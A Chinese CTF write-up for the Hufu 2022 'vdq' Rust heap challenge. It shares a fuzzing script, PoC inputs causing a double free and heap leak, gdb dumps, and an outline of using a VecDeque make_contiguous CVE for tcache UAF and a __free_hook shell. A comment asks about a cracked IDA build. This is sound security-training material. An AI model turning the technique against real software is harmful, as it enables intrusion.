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[原创]虎符网络安全赛道 2022-pwn-vdq-WP
发表于: 2022-3-23 00:11 16910

[原创]虎符网络安全赛道 2022-pwn-vdq-WP

2022-3-23 00:11
16910

上周的虎符网络安全赛道中出现了一个 rust pwn,到最后只有两解。我在比赛中只解出了此题,其实利用难度并不大,只是漏洞点光靠代码审计难以发现。另外,其实到现在我也没有特别明白漏洞的原理,这里简单分享一下我的解题过程。

拿到手,先逆流程,rust 的程序反编译后比较难看,只能硬着头皮逆,不过程序没有去除符号,结构体的定义都在,相对会容易一点。首先可以分析出,在 vdq::get_opr_lst 中读取所有的操作,操作输入后反序列化到这里

这样就可以猜出输入的方式了

input

也就是输入序列化的字符串,如 ["Add", "Add", "Remove"],然后起一新行以 '$' 结尾。

不过要注意的是这里 ida 对字符串的识别有点小问题,要注意 v9 这个变量描述了模式串的长度为 1。


从 ida 的 local types 中我们可以找到所有操作的枚举

由此知道有五种操作。然后处理操作是在 vdq::handle_opr_lst 中做的。

所有的 Notes 被两个 vector 维护:

alloc::collections::vec_deque::VecDeque<alloc::boxed::Box<vdq::Note>> cache_note_vector;

alloc::vec::Vec<alloc::boxed::Box<vdq::Note>> archive_note_vector;

Add 的 note 存在 cache_note_vector 中,Archive 的 note 存在 archive_note_vector 中。

说实话硬逆挺累的,也看不怎么洞,也看不到什么洞,所以就 fuzz 了一下,这里的 fuzz 使用的是我之前在对 byteCTF 2021 final 的 byteview 的 fuzz 思路,是一种无定向的,完全随机的,但是高度结构化的 fuzz 方法,可以参考我的这篇博客。对于一些 ctf 堆题确实是有奇效。这里提供一下我的脚本

跑一下,很快(几秒钟)就会出错,我获得的是一个相对短小的 poc,可以造成段错误,随便修改尝试后获得了稳定造成 double free 的 poc

那么下一步自然是研究 poc,研究的时候尝试删掉各种操作看看会不会有影响,本来以为 View 不会造成什么影响,但是发现去掉之后就不会触发 double free 了。这很奇怪,所以又看了一下 view 部分的实现
view

感觉只有这里可能会有问题了,查了一下最近 rust 的 cve,找到了这个 CVE,看了一下程序的 rust 版本

version

这个 make_contiguous 的 feature 1.48.0 被引入,1.49.0 修复,那这个大概就是了。

trace 了一下发现 double free 是在 handle_opr_lst 退出的时候发生的

exit

退出时会 drop 掉两个 vector,大体上就是一个 note 同时处于两个 vector 中了,然后就 double free 了。

突然想到,这实际上就是说在 Archive 操作的时候,cache_note_vector 中的 notes 并没有被删除,view 一下看看,也就是这个操作

leak

确实打印出来了乱七八糟的东西,仔细一看好像是堆地址,那就是可以 leak 了。

那么首先要搞懂为什么会出现这种情况

双端队列的结构:

buf 里面存的就是每个元素了,tail 指向尾部元素,head 指向头部元素,但是要注意的是在内存中尾部元素在低地址,所以 tail 实际上小于 head。

在这个操作下["Add", "Add", "Archive", "Add", "Archive", "Add", "Add", "View", "Remove", "Remove", "Remove", "View"] 第一次 view 后,cache_note_vector(也就是这个 vec_deque)中有三个元素,tail = 1,head = 4,buf 里面是这样的

以上面为例,连续指的是 buf 连续,也就是 buf 可以线性遍历(简单的说就是把循环队列转换为线性数组)。这里转换完成后,tail 变成 1,head 变成 4,即可返回一个可用的切片了。这里就是 CVE 的漏洞所在,修复后会返回一个 RingSlices

我也不是很懂 rust,但是修复后大概就是把 buf 中所有的元素组成了一个 ring_slices(反映到内存里面就应该是把转换后的数组前面所有的元素移到后面,这样就不会加飞了)

修复前则是返回一个 plain 的 slice,这样就会加回到头部,造成 double free。我想洞大概就是这个原理。

所以为了 UAF,应该先构造出循环队列,也就是 head < tail,并且让 make_contiguous 后内存中仍能剩余可用的指针。参考这段源码

经过多次尝试和阅读源码,最后的构造方法为先构造出循环队列,也就是 head < tail,然后由于不太清楚触发绕回的条件,就复刻 fuzz 的 poc 情况,让 make_contiguous 后 head == cap。由此就可以回绕后 remove 来 double free,view 来 leak,append 来 UAF。

由于是 libc 2.27-3ubuntu1.5

libc 2.27

可以看出已经 apply 了 tcache double free 的 patch。但是 2.27 中判断对应的 tcache bin 是否为空是通过 tcache->entries[tc_idx] != NULL 来判断的,所以通过 append 方法来 UAF tcache 底部的 chunk 即可任意地址分配,然后打 __free_hook 即可 getshell。

于是就有 exp:

 
core::result::Result<alloc::vec::Vec<vdq::Operation>,serde_json::error::Error> v29
core::result::Result<alloc::vec::Vec<vdq::Operation>,serde_json::error::Error> v29
 
 
 
 
enum vdq::Operation : __int8
{
 Add = 0x0,
 Remove = 0x1,
 Append = 0x2,
 Archive = 0x3,
 View = 0x4,
};
enum vdq::Operation : __int8
{
 Add = 0x0,
 Remove = 0x1,
 Append = 0x2,
 Archive = 0x3,
 View = 0x4,
};
 
 
 
 
 
# fuzz.sh
#!/bin/bash
while ((1))
do
    python ./vdq_input_gen.py > poc
    cat poc | ./vdq
    if [ $? -ne 0 ]; then
        break
    fi
done
# fuzz.sh
#!/bin/bash
while ((1))
do
    python ./vdq_input_gen.py > poc
    cat poc | ./vdq
    if [ $? -ne 0 ]; then
        break
    fi
done
# vdq_input_gen.py
#!/usr/bin/env python
# coding=utf-8
import random
import string
 
operations = "["
 
def Add():
    global operations
    operations += "\"Add\", "
 
def Remove():
    global operations
    operations += "\"Remove\", "
 
def Append():
    global operations
    operations += "\"Append\", "
 
def View():
    global operations
    operations += "\"View\", "
 
def Archive():
    global operations
    operations += "\"Archive\", "
 
def DoOperations():
    print(operations[:-2] + "]")
    print("$")
 
def DoAdd(message):
    print(message)
 
def DoAppend(message):
    print(message)
 
total_ops = random.randint(1, 100)
total_adds = 0
total_append = 0
total_remove = 0
total_message = 0
for i in range(total_ops):
    op = random.randint(0, 4)
    if op == 0:
        total_message += 1
        total_adds += 1
        Add()
    elif op == 1:
        total_adds -= 1
        Remove()
    elif op == 2:
        if total_adds > 0:
            total_append += 1
            total_message += 1
            Append()
        Append()
    elif op == 3:
        total_adds = 0
        total_append = 0
        total_remove = 0
        Archive()
    elif op == 4:
        View()
DoOperations()
for i in range(total_message):
    DoAdd(''.join(random.sample(string.ascii_letters + string.digits, random.randint(1, 40))))
# vdq_input_gen.py
#!/usr/bin/env python
# coding=utf-8
import random
import string
 
operations = "["
 
def Add():
    global operations
    operations += "\"Add\", "
 
def Remove():
    global operations
    operations += "\"Remove\", "
 
def Append():
    global operations
    operations += "\"Append\", "
 
def View():
    global operations
    operations += "\"View\", "
 
def Archive():
    global operations
    operations += "\"Archive\", "
 
def DoOperations():
    print(operations[:-2] + "]")
    print("$")
 
def DoAdd(message):
    print(message)
 
def DoAppend(message):
    print(message)
 
total_ops = random.randint(1, 100)
total_adds = 0
total_append = 0
total_remove = 0
total_message = 0
for i in range(total_ops):
    op = random.randint(0, 4)
    if op == 0:
        total_message += 1
        total_adds += 1
        Add()
    elif op == 1:
        total_adds -= 1
        Remove()
    elif op == 2:
        if total_adds > 0:
            total_append += 1
            total_message += 1
            Append()
        Append()
    elif op == 3:
        total_adds = 0
        total_append = 0
        total_remove = 0
        Archive()
    elif op == 4:
        View()
DoOperations()
for i in range(total_message):
    DoAdd(''.join(random.sample(string.ascii_letters + string.digits, random.randint(1, 40))))
["Add", "Add", "Archive", "Add", "Archive", "Add", "Add""View", "Remove", "Remove", "Archive"]
$
ZqlUYDS2I0WOQJvNdTX1onAmfcK6B8VFL5rytP
C
Pgl3h
0S4iHUmpK16Vfbk
LzvEUmWxMl
["Add", "Add", "Archive", "Add", "Archive", "Add", "Add""View", "Remove", "Remove", "Archive"]
$
ZqlUYDS2I0WOQJvNdTX1onAmfcK6B8VFL5rytP
C
Pgl3h
0S4iHUmpK16Vfbk
LzvEUmWxMl
 
 
 
 
 
 
 
["Add", "Add", "Archive", "Add", "Archive", "Add", "Add""View", "Remove", "Remove", "Remove", "View"]
$
之后的字符串随便输
["Add", "Add", "Archive", "Add", "Archive", "Add", "Add""View", "Remove", "Remove", "Remove", "View"]
$
之后的字符串随便输
 
 
 
struct alloc::collections::vec_deque::VecDeque<alloc::boxed::Box<vdq::Note>>
{
 usize tail;
 usize head;
 alloc::raw_vec::RawVec<alloc::boxed::Box<vdq::Note>,alloc::alloc::Global> buf;
};
struct alloc::collections::vec_deque::VecDeque<alloc::boxed::Box<vdq::Note>>
{
 usize tail;
 usize head;
 alloc::raw_vec::RawVec<alloc::boxed::Box<vdq::Note>,alloc::alloc::Global> buf;
};
 
0x555555a36f30: 0x0000555555a370f0     0x0000555555a36fd0
0x555555a36f40: 0x0000555555a37050     0x0000555555a370a0
0x555555a36f30: 0x0000555555a370f0     0x0000555555a36fd0
0x555555a36f40: 0x0000555555a37050     0x0000555555a370a0
pwndbg> x/20xg 0x7fffffffda60
0x7fffffffda60: 0x0000000000000000      0x0000000000000004
0x7fffffffda70: 0x0000555555a36f30      0x0000000000000004
pwndbg> x/20xg 0x7fffffffda60
0x7fffffffda60: 0x0000000000000000      0x0000000000000004
0x7fffffffda70: 0x0000555555a36f30      0x0000000000000004
// 修复前
return unsafe { &mut self.buffer_as_mut_slice()[tail..head] };
// 修复后
return unsafe { RingSlices::ring_slices(self.buffer_as_mut_slice(), head, tail).0 };
 
    fn ring_slices(buf: Self, head: usize, tail: usize) -> (Self, Self) {
        let contiguous = tail <= head;
        if contiguous {
            let (empty, buf) = buf.split_at(0);
            (buf.slice(tail, head), empty)
        } else {
            let (mid, right) = buf.split_at(tail);
            let (left, _) = mid.split_at(head);
            (right, left)
        }
    }
// 修复前
return unsafe { &mut self.buffer_as_mut_slice()[tail..head] };
// 修复后
return unsafe { RingSlices::ring_slices(self.buffer_as_mut_slice(), head, tail).0 };
 
    fn ring_slices(buf: Self, head: usize, tail: usize) -> (Self, Self) {
        let contiguous = tail <= head;
        if contiguous {
            let (empty, buf) = buf.split_at(0);
            (buf.slice(tail, head), empty)
        } else {
            let (mid, right) = buf.split_at(tail);
            let (left, _) = mid.split_at(head);
            (right, left)
        }
    }
 
 
#[stable(feature = "deque_make_contiguous", since = "1.48.0")]
pub fn make_contiguous(&mut self) -> &mut [T] {
    if self.is_contiguous() {
        let tail = self.tail;
        let head = self.head;
        return unsafe { &mut self.buffer_as_mut_slice()[tail..head] };
    }
 
    let buf = self.buf.ptr();
    let cap = self.cap();
    let len = self.len();
    let free = self.tail - self.head;
    let tail_len = cap - self.tail;
    if free >= tail_len {
        // there is enough free space to copy the tail in one go,
        // this means that we first shift the head backwards, and then
        // copy the tail to the correct position.
        //
        // from: DEFGH....ABC
        // to:   ABCDEFGH....
        unsafe {
            ptr::copy(buf, buf.add(tail_len), self.head);
            // ...DEFGH.ABC
            ptr::copy_nonoverlapping(buf.add(self.tail), buf, tail_len);
            // ABCDEFGH....
            self.tail = 0;
            self.head = len;
        }
    } else if free >= self.head {
        // there is enough free space to copy the head in one go,
        // this means that we first shift the tail forwards, and then
        // copy the head to the correct position.
        //
        // from: FGH....ABCDE
        // to:   ...ABCDEFGH.
        unsafe {
            ptr::copy(buf.add(self.tail), buf.add(self.head), tail_len);
            // FGHABCDE....
            ptr::copy_nonoverlapping(buf, buf.add(self.head + tail_len), self.head);
            // ...ABCDEFGH.
 
            self.tail = self.head;
            self.head = self.tail + len;
        }
    } else {
        // free is smaller than both head and tail,
        // this means we have to slowly "swap" the tail and the head.
        //
        // from: EFGHI...ABCD or HIJK.ABCDEFG
        // to:   ABCDEFGHI... or ABCDEFGHIJK.
        let mut left_edge: usize = 0;
        let mut right_edge: usize = self.tail;
        unsafe {
            // The general problem looks like this
            // GHIJKLM...ABCDEF - before any swaps
            // ABCDEFM...GHIJKL - after 1 pass of swaps
            // ABCDEFGHIJM...KL - swap until the left edge reaches the temp store
            //                  - then restart the algorithm with a new (smaller) store
            // Sometimes the temp store is reached when the right edge is at the end
            // of the buffer - this means we've hit the right order with fewer swaps!
            // E.g
            // EF..ABCD
            // ABCDEF.. - after four only swaps we've finished
            while left_edge < len && right_edge != cap {
                let mut right_offset = 0;
                for i in left_edge..right_edge {
                    right_offset = (i - left_edge) % (cap - right_edge);
                    let src: isize = (right_edge + right_offset) as isize;
                    ptr::swap(buf.add(i), buf.offset(src));
                }
                let n_ops = right_edge - left_edge;
                left_edge += n_ops;
                right_edge += right_offset + 1;
            }
            self.tail = 0;
            self.head = len;
        }
    }
 
    let tail = self.tail;
    let head = self.head;
    unsafe { &mut self.buffer_as_mut_slice()[tail..head] }
}
#[stable(feature = "deque_make_contiguous", since = "1.48.0")]
pub fn make_contiguous(&mut self) -> &mut [T] {
    if self.is_contiguous() {
        let tail = self.tail;
        let head = self.head;
        return unsafe { &mut self.buffer_as_mut_slice()[tail..head] };
    }

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师傅你好,我想问一下你用的是哪个软件看反编译伪代码的,我用ida没看到符号表呀,是我的版本不够吗

最后于 2022-3-25 23:45 被wx_雫编辑 ,原因:
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wx_雫 师傅你好,我想问一下你用的是哪个软件看反编译伪代码的,我用ida没看到符号表呀,是我的版本不够吗
可能是,我用的是 ida 7.7
2022-3-26 20:45
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chuj- 可能是,我用的是 ida 7.7

师傅,你用的是吾爱的7.7破解版吗,我用吾爱的7.7还是看不见符号表,还是需要安装什么插件?师傅能否把分析过的idb文件发一下我看一下到底是哪里有问题,感谢师傅

最后于 2022-3-27 00:17 被wx_雫编辑 ,原因:
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wx_雫 chuj- 可能是,我用的是 ida 7.7 师傅,你用的是吾爱的7.7破解版吗,我用吾爱的7.7还是看不见符号表,还是需要安装什么插件?师傅能 ...
https://github.com/chujDK/fuzz_a_byteview/blob/master/solved-in-this-way/vdq/vdq.i64
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